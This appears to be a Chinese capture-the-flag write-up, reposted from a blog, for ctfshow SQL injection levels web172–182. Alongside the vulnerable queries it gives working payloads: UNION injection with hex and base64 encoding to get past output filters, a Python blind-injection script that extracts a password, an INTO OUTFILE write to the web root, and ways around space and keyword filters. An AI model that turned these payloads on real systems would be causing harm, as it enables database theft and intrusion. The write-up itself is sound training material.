ctfshow_sql注入

WEB172

查询语句

//拼接sql语句查找指定ID用户
sql = “select username,password from ctfshow_user2 where username !=‘flag’ and id = '”.$_GET[‘id’]."’ limit 1;";

返回逻辑

//检查结果是否有flag
if($row->username!==‘flag’){
$ret[‘msg’]=‘查询成功’;
}

这里说我们返回的语句中不能包含flag内容。
我们可以绕过

1’ union select hex(username),password from ctfshow_user2–+

在这里插入图片描述

WEB173

查询语句

//拼接sql语句查找指定ID用户
sql = “select id,username,password from ctfshow_user3 where username !=‘flag’ and id = '”.$_GET[‘id’]."’ limit 1;";

返回逻辑

//检查结果是否有flag
if(!preg_match(’/flag/i’, json_encode($ret))){
$ret[‘msg’]=‘查询成功’;
}

相对上一题就是多了json_encode
在这里插入图片描述
可以用编码形式绕过,这里可以用到两个函数
hex : 转16进制
to_base64 : 转base64

1’ union select 1,hex(username),to_base64(password) from ctfshow_user3–+

在这里插入图片描述

WEB174

查询语句

//拼接sql语句查找指定ID用户
sql = “select id,username,password from ctfshow_user2 where username !=‘flag’ and id = '”.$_GET[‘id’]."’ limit 1;";

返回逻辑

//检查结果是否有flag
if(!preg_match(’/flag/i’, json_encode($ret))){
$ret[‘msg’]=‘查询成功’;
}

输入1’ and 1=1#
在这里插入图片描述
输入1’ and 1=0#
在这里插入图片描述
从这里就可以分析出来有时间盲注,先看看有没有联合注入,发现没有回显只能时间盲注。
在这里插入图片描述
这里直接放代码。

import requests

url = "http://2a29bdb8-5bf5-4d82-9391-24cc6beacd48.challenge.ctf.show:8080/api/v4.php?id=1' and "

result = ""
i = 0

while True:
    i = i+1
    head = 32
    tail = 127
    while head < tail:
        mid = (head + tail) >> 1
        payload = f"1=if((ascii( substr((select password from ctfshow_user4 limit 24,1),{i},1))>{mid}),1,0)--+"
        r = requests.get(url+payload)
        if 'admin' in r.text:
            head = mid + 1
        else:
            tail = mid

    if head != 32:
        result += chr(head)
    else:
        break
    print(result)

跑一遍就出flag了。

web175

这里先试一下,然后发现没有回显.
在这里插入图片描述
这里我们有两种方法,第一种就是把内容读取出来放在网页根目录,第二种就是写盲注的脚本。
这里我先用一下第二种写网站根目录的。

1’ union select 1,password from ctfshow_user5 into outfile ‘/var/www/html/1.txt’–+

web176

打开页面,发现有回显.

在这里插入图片描述
这里查询错误可能是有过滤,这里试一下绕过方法。
在这里插入图片描述
先大小写绕过,发现有回显,这里直接查询即可。
在这里插入图片描述
在这里插入图片描述

WEB177

在这里插入图片描述

payload=1’//union//select//password,1,1//from//ctfshow_user//where//username//=‘flag’%23

总结

1、内连绕过/**/
2、编码绕过%23(#)

web178

过滤了空格。

先尝试 1’and’a’='a

发现执行成功。 再尝试1’ and ‘a’='a

失败了。所以很明显,过滤空格。 我们尝试用内敛注释 %09代替空格,以次绕过。
在这里插入图片描述
在这里插入图片描述
可以对照这里的绕过方法,我这里采用%0c绕过
在这里插入图片描述

payload=1’%0Cunion%0Cselect%0Cpassword,2,3%0Cfrom%0Cctfshow_user%23

web179

这里还是%0C绕过,然后order by查询到有三个字段。
在这里插入图片描述
和上题一样的

payload=1’%0Cunion%0Cselect%0Cpassword,2,3%0Cfrom%0Cctfshow_user%23

在这里插入图片描述

web180

payload=-1’or(id=26)and’1’='1
在这里插入图片描述

web181

还是一样的

payload=-1’or(id=26)and’1’='1
在这里插入图片描述

web182

在这里插入图片描述

长期更新。。。。

猜你喜欢

转载自blog.csdn.net/qq_45951598/article/details/114374307